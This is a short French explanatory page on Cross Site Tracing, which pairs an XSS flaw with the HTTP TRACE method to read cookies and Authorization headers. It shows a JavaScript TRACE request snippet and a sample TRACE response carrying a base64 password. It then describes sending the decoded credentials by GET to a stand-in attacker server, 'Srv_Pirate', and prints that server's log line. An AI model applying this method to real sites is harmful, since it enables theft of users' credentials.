Le Cross site tracing, abrégé XST, est une manière d’exploiter les failles de sécurité de type XSS, mettant à profit la méthode TRACE du protocole HTTP.
Une faille de type XSS ne permet normalement pas d’accéder aux informations (les cookies notamment) relatives à un autre site que celui faillible, à cause des modèles de sécurité des navigateurs. Le XST permet de contourner cette limitation en se servant de la méthode TRACE qui a pour fonction de renvoyer au client l’intégralité de l’en-tête de sa requête. Invoquée dynamiquement en JavaScript, grâce à XMLHttpRequest par exemple, elle permet dans certain cas de récupérer les cookies relatifs au domaine ciblé par la requête, parce que ceux-ci apparaissent automatiquement dans l’en-tête envoyée par le navigateur, et ainsi retournée par le serveur.
Cette requête permet d’obtenir le champ Authorization de l’en-tête HTTP. Le code Javascript, permettant de réaliser la connexion avec la méthode TRACE, est le suivant :

Citation:  ‹ Choisir › ‹ Etendre

Code :
var xmlHttp = new ActiveObject("Microsoft.XMLHTTP")
xmlHttp.open("TRACE", "./", false)

Voici le résultat de la requête HTTP TRACE obtenue par le script :
TRACE /mail/victime.nsf/c1dee9080256c3f003dccf5/33cc18a13483c9f2c125704400447cf6/$FILE/
H TTP/1.1
Accept: */* Accept-Language: fr
Referer:
http://Srv_Domino/mail/victime.nsf/c1cdee9080256c3f003dccf5/33cc18a13483c9f2c125704400447cf6/$FILE/Hum our.htm
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: Srv_Domino
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
,dmljdGltZTptZHBfc2VjcmV0IA <- Champ Authorization – contient le mot de passé codé en base 64
Le Champ Authorization, qui contient le mot de passe code en base 64, est alors décodé.
Le script réalise une connexion sur le serveur de l’attaquant en fournissant en paramètre le login et le mot de passe de la victime. Il réalise une requête GET de l’adresse : http://Srv_Pirate/%20vicime:mdp_secret :
En observant les logs du serveur de l’attaquant (Serveur HTTP Pirate), l’attaquant visualisera clairement le login et le mot de passe de la victime :
« Adresse IP de la victime » – – [20/Jul/2005:12:07:44 +0200] "GET /%20victime:mdp_secret HTTP/1.1" 302 223 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"

Publicités